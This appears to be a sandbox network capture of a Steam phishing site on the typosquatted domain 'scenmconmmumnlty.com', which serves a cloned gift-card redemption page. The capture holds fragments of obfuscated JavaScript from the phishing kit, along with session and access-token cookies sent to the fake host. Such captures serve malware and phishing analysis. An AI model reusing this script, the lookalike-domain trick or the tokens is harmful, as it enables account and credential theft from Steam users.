,gbtQmh(0x21),lYOAmun[oxeEbI(0x4d)],gbtQmh(0x23),PIDfATz[QhtqHI(-0x57)],gbtQmh(0x25),gbtQmh(0x26),gbtQmh(QhtqHI(-0x47)),PIDfATz[QhtqHI(-0x46)],gbtQmh(0x29),gbtQmh(0x2a),fm58XCn[oxeEbI(0x50)],gbtQmh(0x2c),gbtQmh(0x2d),gbtQmh.call(oxeEbI(0x49),oxeEbI(0x51))
2024-09-29 00:41:35 UTC	1369	IN	Data Raw: 36 2c 30 78 33 63 30 29 2c 27 27 29 2c 55 4c 6d 73 6f 52 30 5b 67 62 74 51 6d 68 28 30 78 31 63 29 5d 28 62 4a 53 6f 56 4b 28 30 78 33 65 36 2c 30 78 33 64 32 29 2c 72 79 45 50 37 38 79 29 2c 55 4c 6d 73 6f 52 30 5b 66 6d 35 38 58 43 6e 5b 30 78 33 5d 5d 28 67 62 74 51 6d 68 28 30 78 33 36 29 2c 77 69 6e 64 6f 77 5b 62 4a 53 6f 56 4b 28 45 65 78 66 6b 71 31 28 30 78 34 29 2c 30 78 33 63 65 29 5d 5b 72 79 45 50 37 38 79 5d 29 2c 51 68 74 71 48 49 5b 62 4a 53 6f 56 4b 28 30 78 33 65 30 2c 45 65 78 66 6b 71 31 28 30 78 35 29 29 5d 28 55 4c 6d 73 6f 52 30 29 29 7d 63 6f 6e 73 74 20 42 6f 70 5a 4c 61 4d 3d 49 30 49 65 63 54 64 28 77 69 6e 64 6f 77 5b 62 4a 53 6f 56 4b 28 30 78 33 62 37 2c 30 78 33 63 65 29 5d 5b 62 4a 53 6f 56 4b 28 30 78 33 62 38 2c 30 78 33 Data Ascii: 6,0x3c0),''),ULmsoR0[gbtQmh(0x1c)](bJSoVK(0x3e6,0x3d2),ryEP78y),ULmsoR0[fm58XCn[0x3]](gbtQmh(0x36),window[bJSoVK(Eexfkq1(0x4),0x3ce)][ryEP78y]),QhtqHI[bJSoVK(0x3e0,Eexfkq1(0x5))](ULmsoR0))}const BopZLaM=I0IecTd(window[bJSoVK(0x3b7,0x3ce)][bJSoVK(0x3b8,0x3
2024-09-29 00:41:35 UTC	1369	IN	Data Raw: 50 37 38 79 3d 5b 5d 29 3b 6c 65 74 20 42 6f 70 5a 4c 61 4d 3d 61 74 6f 62 28 50 49 44 66 41 54 7a 5b 72 79 45 50 37 38 79 3d 5b 30 78 34 62 34 2c 30 78 34 62 66 5d 2c 62 4a 53 6f 56 4b 28 67 62 74 51 6d 68 28 55 4c 6d 73 6f 52 30 28 30 78 34 35 29 29 29 5d 28 2f 5c 73 2b 2f 67 2c 27 27 29 5b 72 79 45 50 37 38 79 3d 5b 30 78 34 63 39 2c 30 78 34 62 66 5d 2c 6e 65 77 20 62 4a 53 6f 56 4b 28 4b 33 35 41 47 51 5b 6f 78 65 45 62 49 28 30 78 35 63 29 5d 2c 6f 78 65 45 62 49 28 30 78 34 39 29 2c 45 65 78 66 6b 71 31 29 2e 68 4a 6b 6e 54 5f 5d 28 2f 2d 2f 67 2c 27 2b 27 29 5b 72 79 45 50 37 38 79 3d 5b 30 78 34 63 65 2c 30 78 34 62 66 5d 2c 62 4a 53 6f 56 4b 28 67 62 74 51 6d 68 28 30 78 33 38 29 29 5d 28 2f 5f 2f 67 2c 27 2f 27 29 29 3b 72 65 74 75 72 6e 20 64 Data Ascii: P78y=[]);let BopZLaM=atob(PIDfATz[ryEP78y=[0x4b4,0x4bf],bJSoVK(gbtQmh(ULmsoR0(0x45)))](/\s+/g,'')[ryEP78y=[0x4c9,0x4bf],new bJSoVK(K35AGQ[oxeEbI(0x5c)],oxeEbI(0x49),Eexfkq1).hJknT_](/-/g,'+')[ryEP78y=[0x4ce,0x4bf],bJSoVK(gbtQmh(0x38))](/_/g,'/'));return d

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:41:36 UTC	353	OUT	GET /favicon.ico HTTP/1.1 Host: steamcommunity.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 00:41:36 UTC	264	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/x-icon Cache-Control: public,max-age=86400 Expires: Thu, 19 Sep 2024 18:50:12 GMT Last-Modified: Tue, 18 Sep 2018 23:32:59 GMT Content-Length: 38554 Date: Sun, 29 Sep 2024 00:41:36 GMT Connection: close
2024-09-29 00:41:36 UTC	16120	IN	Data Raw: 00 00 01 00 05 00 10 10 00 00 01 00 20 00 68 04 00 00 56 00 00 00 18 18 00 00 01 00 20 00 88 09 00 00 be 04 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 46 0e 00 00 30 30 00 00 01 00 20 00 a8 25 00 00 ee 1e 00 00 00 00 00 00 01 00 20 00 04 52 00 00 96 44 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a7 75 13 00 a6 74 13 07 a9 77 13 48 ac 7a 13 a8 ae 7c 13 e4 af 7d 13 fb af 7d 13 fb ae 7c 13 e4 ac 7a 13 a8 a9 77 13 49 a6 74 13 07 a7 75 13 00 00 00 00 00 00 00 00 00 a3 70 13 00 99 66 13 00 98 65 13 18 9c 6a 13 92 9e 6b 11 ee 9e 6b 0f ff 9f 6c 11 ff a0 6d 13 ff a0 6e 13 ff a0 6e 13 ff a0 6e 13 ff 9f 6d 13 ee 9c 6a 13 92 98 65 13 18 99 66 13 00 a3 71 12 00 8d Data Ascii: hV F00 % RD( utwHz\|}}\|zwItupfejkklmnnnmjefq
2024-09-29 00:41:36 UTC	16384	IN	Data Raw: 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b e2 34 1a 0a 5e 35 1a 0a 04 35 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 1a 0b 00 35 18 0b 01 33 1b 0b 3b 33 1b 0c be 33 1b 0c fc 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c fc 33 1b 0c be 33 1b 0b 3b 35 18 0b 01 34 Data Ascii: 444444444444444^55453;33333333333333333333333333333;54
2024-09-29 00:41:36 UTC	1978	IN	Data Raw: c2 72 30 6a 8e d8 e8 48 ec 76 1b 7e 5d a7 91 59 00 6e 8f af de 57 a0 71 ea bc 7e 7e ff ce 22 5e fb 64 25 d5 b5 75 27 04 ec b0 fc bd 3b 19 0a 64 4e 82 aa 29 2c 97 e6 9d c3 9a 55 00 c5 8b 9f 23 75 e6 cf 01 3e 47 f8 21 d0 3b 38 b9 8e 6f 25 fa 02 3a 7b 8e 14 b2 37 ab 90 77 e7 6f 64 ea b9 fd b9 f2 fc 73 38 ef dc fe 74 4b 8a b5 b6 12 1b c1 61 b7 1d 5f 99 3f f5 f1 28 f0 f8 03 e8 ba de e4 df d7 ba 3d 2c 5a bf d7 d8 db b7 59 db 7b 9d 98 5c 90 cf 2a 25 96 b2 45 cf 36 fb c1 16 7a 8d a8 bd a0 2d 40 f8 5e a8 24 34 96 09 04 14 14 97 d7 f0 f1 92 ad cc 5f b3 9b a1 7d 7b 70 c9 e4 e1 5c 3a 75 18 83 7b f7 b0 1c 8c 4e c0 48 38 da 70 26 e0 94 5f 4a bd 82 68 46 71 36 1c ec 3a b6 8b 60 d1 39 51 cc 03 76 b7 44 b1 9f 51 01 94 2c 7a 8e d4 d9 0f 79 81 f7 51 dc 00 92 18 52 61 c5 98 Data Ascii: r0jHv~]YnWq~~"^d%u';dN),U#u>G!;8o%:{7wods8tKa_?(=,ZY{\*%E6z-@^$4_}{p\:u{NH8p&_JhFq6:`9QvDQ,zyQRa
2024-09-29 00:41:36 UTC	4072	IN	Data Raw: af 7e be 9e 67 fe b3 8c 15 3b b2 f0 07 f4 26 e7 fc 88 b1 e5 97 1c 17 cd 23 b7 cd e4 b2 49 43 9a ed d4 35 6e 2f 4f fd 6b 09 9b f6 e7 37 7b 4d ab 74 b8 32 07 b4 a7 02 36 7f 5d e9 a7 8f 05 db 7d 83 57 00 00 d1 c3 2e 04 a5 79 80 3c 90 8b 11 89 0f 83 07 55 df 81 a1 a4 d2 85 dd 66 e3 82 91 7d 9b cd a0 9b 91 9a 40 df b4 24 d6 ef cd a5 bc c6 5d 1f dd f8 b8 22 d0 44 f0 eb 8a c2 f2 1a 56 ef ca 66 de 86 03 6c 3d 98 4f 95 cb 83 dd 66 c3 69 d7 d0 34 ad d1 3a 7c fe 00 35 6e 2f 59 85 15 2c da 74 80 97 e7 ae e3 4f 1f ad 64 e1 c6 03 54 d4 78 d0 44 4e 8b f7 7f 52 e7 57 10 17 1d c1 43 b7 4c e7 b6 d9 63 ce 98 09 f8 a3 15 3b f9 fb 67 eb 8c f8 81 61 f0 1e ac 12 82 02 59 c0 4f d1 e4 80 cd a7 53 bb 7f 69 d0 7d 57 42 a1 00 00 ba 5d f7 24 20 36 85 fe 08 f0 28 21 52 2e a1 40 29 45 Data Ascii: ~g;&#IC5n/Ok7{Mt26]}W.y<Uf}@$]"DVfl=Ofi4:\|5n/Y,tOdTxDNRWCLc;gaYOSi}WB]$ 6(!R.@)E

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:41:36 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-09-29 00:41:36 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF67) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=144206 Date: Sun, 29 Sep 2024 00:41:36 GMT Connection: close X-CID: 2

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:41:36 UTC	1154	OUT	GET /714a7a547506540059065a09725d0c50085f5e5f HTTP/1.1 Host: scenmconmmumnlty.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.7FwGvQuffRuRMmMe-9IzqtSxnzc4vOCo.OHHxsye8vXgoBs21.U2goMglmMnfaZ3w18AYfRq5j7u3YTTj9kfxVSgGOw_fXivu-X_7cLHyQaQCFkIfJDytEO8sJYhdXjin72r6h8GLiebnQsoDYhYW6wwKuEiEA4kJjs-SVOOMR7V_1UEE-oEdHn1s2RITTk4o2uUrY72Hjz9lIrjh71SRdDVLac9gtYrL-FV67_lSnU1V4mwNsBuhMkeU0MmrNicqAx_rPmgVLtlNWC8Lw5NCCz2n7UDkPGTTGj7Ro.dJJoGrF4Bw7qrsf3RfMvdw; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6IjUzNDU4NzdjMWM5YjExYzFjNjA4YzIwMTA2MGVkN2I1Iiwic2VydmljZSI6IlN0ZWFtIn0.5VcVK6mtwkVDMR8HF0lQwiEaGSuFpCUuu5NzPcptdd8; accessToken=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.rsmGHZ_jvhNbwacZdaCnkV8jtrltf47c.4fNMUpKiA26HQQZ2.stGN3efd8ZlAZUL-qFZIX2Jd9-CDmdPCPkwzIXovdLlbXhxhI6D-M93kYK-Ss2Z3DJZaEBLuH54ccBJzoIjzIhxG.jwsb95q6-Nh07pQ61Jj15Q
2024-09-29 00:41:36 UTC	992	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 00:41:36 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=K%2BIh5CQdCeFBBB8%2BjFcj2kTuvjgvkA2OLdMI2YviHB0VV%2FSLWLcJXjfRCXAI4o4UTVXki6o3anEsom%2BjF%2FSqOr%2FInu46%2FpCyffsbzsd0AQ5ecAcjssV9HwPvHeKHB8%2B9lMoAA7JfTw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8ca7edb408040f55-EWR
2024-09-29 00:41:36 UTC	9	IN	Data Raw: 34 0d 0a 74 72 75 65 0d 0a Data Ascii: 4true
2024-09-29 00:41:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:41:37 UTC	1588	OUT	POST /714a7a54750654005d0c4a071403255606425956041702775155440c1252 HTTP/1.1 Host: scenmconmmumnlty.com Connection: keep-alive Content-Length: 73 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: null Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.7FwGvQuffRuRMmMe-9IzqtSxnzc4vOCo.OHHxsye8vXgoBs21.U2goMglmMnfaZ3w18AYfRq5j7u3YTTj9kfxVSgGOw_fXivu-X_7cLHyQaQCFkIfJDytEO8sJYhdXjin72r6h8GLiebnQsoDYhYW6wwKuEiEA4kJjs-SVOOMR7V_1UEE-oEdHn1s2RITTk4o2uUrY72Hjz9lIrjh71SRdDVLac9gtYrL-FV67_lSnU1V4mwNsBuhMkeU0MmrNicqAx_rPmgVLtlNWC8Lw5NCCz2n7UDkPGTTGj7Ro.dJJoGrF4Bw7qrsf3RfMvdw; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6IjUzNDU4NzdjMWM5YjExYzFjNjA4YzIwMTA2MGVkN2I1Iiwic2VydmljZSI6IlN0ZWFtIn0.5VcVK6mtwkVDMR8HF0lQwiEaGSuFpCUuu5NzPcptdd8; accessToken=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.rsmGHZ_jvhNbwacZdaCnkV8jtrltf47c.4fNMUpKiA26HQQZ2.stGN3efd8ZlAZUL-qFZIX2Jd9-CDmdPCPkwzIXovdLlbXhxhI6D-M93kYK-Ss2Z3DJZaEBLuH54ccBJzoIjzIhxG.jwsb95q6-Nh07pQ61Jj15Q
2024-09-29 00:41:37 UTC	73	OUT	Data Raw: 70 61 74 68 6e 61 6d 65 3d 25 32 46 63 6c 6f 73 65 25 32 46 67 65 74 69 6e 67 25 32 46 61 63 74 69 76 65 26 73 65 61 72 63 68 3d 26 68 6f 73 74 6e 61 6d 65 3d 73 63 65 6e 6d 63 6f 6e 6d 6d 75 6d 6e 6c 74 79 2e 63 6f 6d Data Ascii: pathname=%2Fclose%2Fgeting%2Factive&search=&hostname=scenmconmmumnlty.com
2024-09-29 00:41:37 UTC	963	IN	HTTP/1.1 201 Created Date: Sun, 29 Sep 2024 00:41:37 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ohnhTor6bPKj6UnFG9vXG9ZfaikTE5L2eYNeRNDuwVSUdu5GzOqlNNUg5SE%2FTdVWBaxuYyxk3r6stA8OlxJSludLpM8QflraOvrOfciDGOzJRp0KJiuzLa6NG2pKW0Etnwmbgf02FA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ca7edb8680c8c41-EWR
2024-09-29 00:41:37 UTC	406	IN	Data Raw: 34 35 32 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 27 2f 37 31 34 61 37 61 35 34 37 35 30 36 35 34 30 61 35 66 30 37 35 63 31 61 2e 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 74 72 69 67 67 65 72 73 20 3d 20 5b 22 61 22 2c 22 62 75 74 74 6f 6e 22 5d 3c 2f 73 63 72 69 70 74 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 Data Ascii: 452e<!DOCTYPE html><html class=" responsive" lang="en"><head><script async src='/714a7a547506540a5f075c1a.js'></script><script>window.triggers = ["a","button"]</script><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewp
2024-09-29 00:41:37 UTC	1369	IN	Data Raw: 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 73 69 74 65 22 20 63 6f 6e 74 65 6e 74 3d 22 40 73 74 65 61 6d 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 65 64 65 65 6d 20 61 20 53 74 65 61 6d 20 47 69 66 74 20 43 61 72 64 20 6f 72 20 57 61 6c 6c 65 74 20 43 6f 64 65 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 65 64 65 65 6d 20 61 20 53 74 65 61 6d 20 47 69 66 74 20 43 61 72 64 20 6f 72 20 57 61 6c 6c 65 74 20 43 6f 64 65 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 73 69 74 65 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 Data Ascii: eta name="twitter:site" content="@steam"><meta property="og:title" content="Redeem a Steam Gift Card or Wallet Code"><meta property="twitter:title" content="Redeem a Steam Gift Card or Wallet Code"><meta property="og:type" content="website"><meta property
2024-09-29 00:41:37 UTC	1369	IN	Data Raw: 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 70 75 62 6c 69 63 2f 63 73 73 2f 76 36 2f 61 63 63 6f 75 6e 74 2e 63 73 73 3f 76 3d 50 32 57 4c 49 38 42 36 64 64 4a 65 26 61 6d 70 3b 6c 3d 65 6e 67 6c 69 73 68 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 70 75 62 6c 69 63 2f 63 73 73 2f 76 36 2f 63 61 72 74 2e 63 73 73 3f 76 3d 75 32 46 49 61 69 65 74 58 36 61 46 26 61 6d 70 3b 6c 3d 65 6e 67 6c 69 73 68 22 Data Ascii: type="text/css"><link href="https://store.akamai.steamstatic.com/public/css/v6/account.css?v=P2WLI8B6ddJe&l=english" rel="stylesheet" type="text/css"><link href="https://store.akamai.steamstatic.com/public/css/v6/cart.css?v=u2FIaietX6aF&l=english"
2024-09-29 00:41:37 UTC	1369	IN	Data Raw: 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 70 75 62 6c 69 63 2f 73 68 61 72 65 64 2f 6a 61 76 61 73 63 72 69 70 74 2f 73 68 61 72 65 64 5f 67 6c 6f 62 61 6c 2e 6a 73 3f 76 3d 51 35 74 74 2d 64 38 72 30 59 4c 75 26 61 6d 70 3b 6c 3d 65 6e 67 6c 69 73 68 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 70 75 62 6c 69 63 2f 6a 61 76 61 73 63 72 69 70 74 2f 6d 61 69 6e 2e 6a 73 3f 76 3d 39 30 7a 51 72 69 4e 54 4e 45 6e 4d 26 61 6d 70 3b 6c 3d 65 6e 67 6c 69 73 68 22 3e Data Ascii: t" src="https://store.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=Q5tt-d8r0YLu&l=english"></script><script type="text/javascript" src="https://store.akamai.steamstatic.com/public/javascript/main.js?v=90zQriNTNEnM&l=english">
2024-09-29 00:41:37 UTC	1369	IN	Data Raw: 6f 74 79 70 65 50 72 65 73 65 72 76 65 5b 34 5d 20 7c 7c 20 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6f 6d 65 3b 0a 20 20 20 20 20 20 46 75 6e 63 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 62 69 6e 64 20 3d 20 5f 5f 50 72 6f 74 6f 74 79 70 65 50 72 65 73 65 72 76 65 5b 35 5d 20 7c 7c 20 46 75 6e 63 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 62 69 6e 64 3b 0a 20 20 20 20 20 20 48 54 4d 4c 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 73 63 72 6f 6c 6c 54 6f 20 3d 20 5f 5f 50 72 6f 74 6f 74 79 70 65 50 72 65 73 65 72 76 65 5b 36 5d 20 7c 7c 20 48 54 4d 4c 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 73 63 72 6f 6c 6c 54 6f 3b 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a Data Ascii: otypePreserve[4] \|\| Array.prototype.some; Function.prototype.bind = __PrototypePreserve[5] \|\| Function.prototype.bind; HTMLElement.prototype.scrollTo = __PrototypePreserve[6] \|\| HTMLElement.prototype.scrollTo; </script><script type="text/j
2024-09-29 00:41:37 UTC	1369	IN	Data Raw: 3b 0a 20 20 20 20 20 20 20 20 53 65 74 75 70 54 6f 6f 6c 74 69 70 73 28 7b 0a 20 20 20 20 20 20 20 20 20 20 74 6f 6f 6c 74 69 70 43 53 53 43 6c 61 73 73 3a 20 27 73 74 6f 72 65 5f 74 6f 6f 6c 74 69 70 27 0a 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 70 75 62 6c 69 63 2f 6a 61 76 61 73 63 72 69 70 74 2f 72 65 64 65 65 6d 77 61 6c 6c 65 74 63 6f 64 65 2e 6a 73 3f 76 3d 58 73 67 4f 44 71 55 4f 6c 56 77 39 26 61 6d 70 3b 6c 3d 65 6e 67 6c 69 73 68 22 3e 3c 2f 73 63 72 69 70 74 3e 3c Data Ascii: ; SetupTooltips({ tooltipCSSClass: 'store_tooltip' }); }); </script><script type="text/javascript" src="https://store.akamai.steamstatic.com/public/javascript/redeemwalletcode.js?v=XsgODqUOlVw9&l=english"></script><
2024-09-29 00:41:37 UTC	1369	IN	Data Raw: 72 22 3e 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 6d 65 6e 75 5f 63 74 6e 20 6d 61 69 6e 6d 65 6e 75 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 6d 65 6e 75 22 20 69 64 3d 22 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 6d 65 6e 75 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 6d 65 6e 75 5f 63 6f 6e 74 65 6e 74 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 6d 65 6e 75 5f 63 6f 6e 74 65 6e 74 73 5f 69 74 65 6d 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 73 68 6f Data Ascii: r"> <div class="responsive_page_menu_ctn mainmenu"> <div class="responsive_page_menu" id="responsive_page_menu"> <div class="mainmenu_contents"> <div class="mainmenu_contents_items"> <a class="menuitem sho
2024-09-29 00:41:37 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 20 73 68 6f 77 41 75 74 68 57 69 6e 22 20 68 72 65 66 3d 22 23 22 3e 44 69 73 63 75 73 73 69 6f 6e 73 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 20 73 68 6f 77 41 75 74 68 57 69 6e 22 20 68 72 65 66 3d 22 23 22 3e 57 6f 72 6b 73 68 6f 70 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 20 73 68 6f 77 41 75 74 68 57 69 6e 22 20 68 72 65 66 3d 22 23 22 3e 4d 61 72 6b 65 74 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 20 73 68 6f 77 Data Ascii: <a class="submenuitem 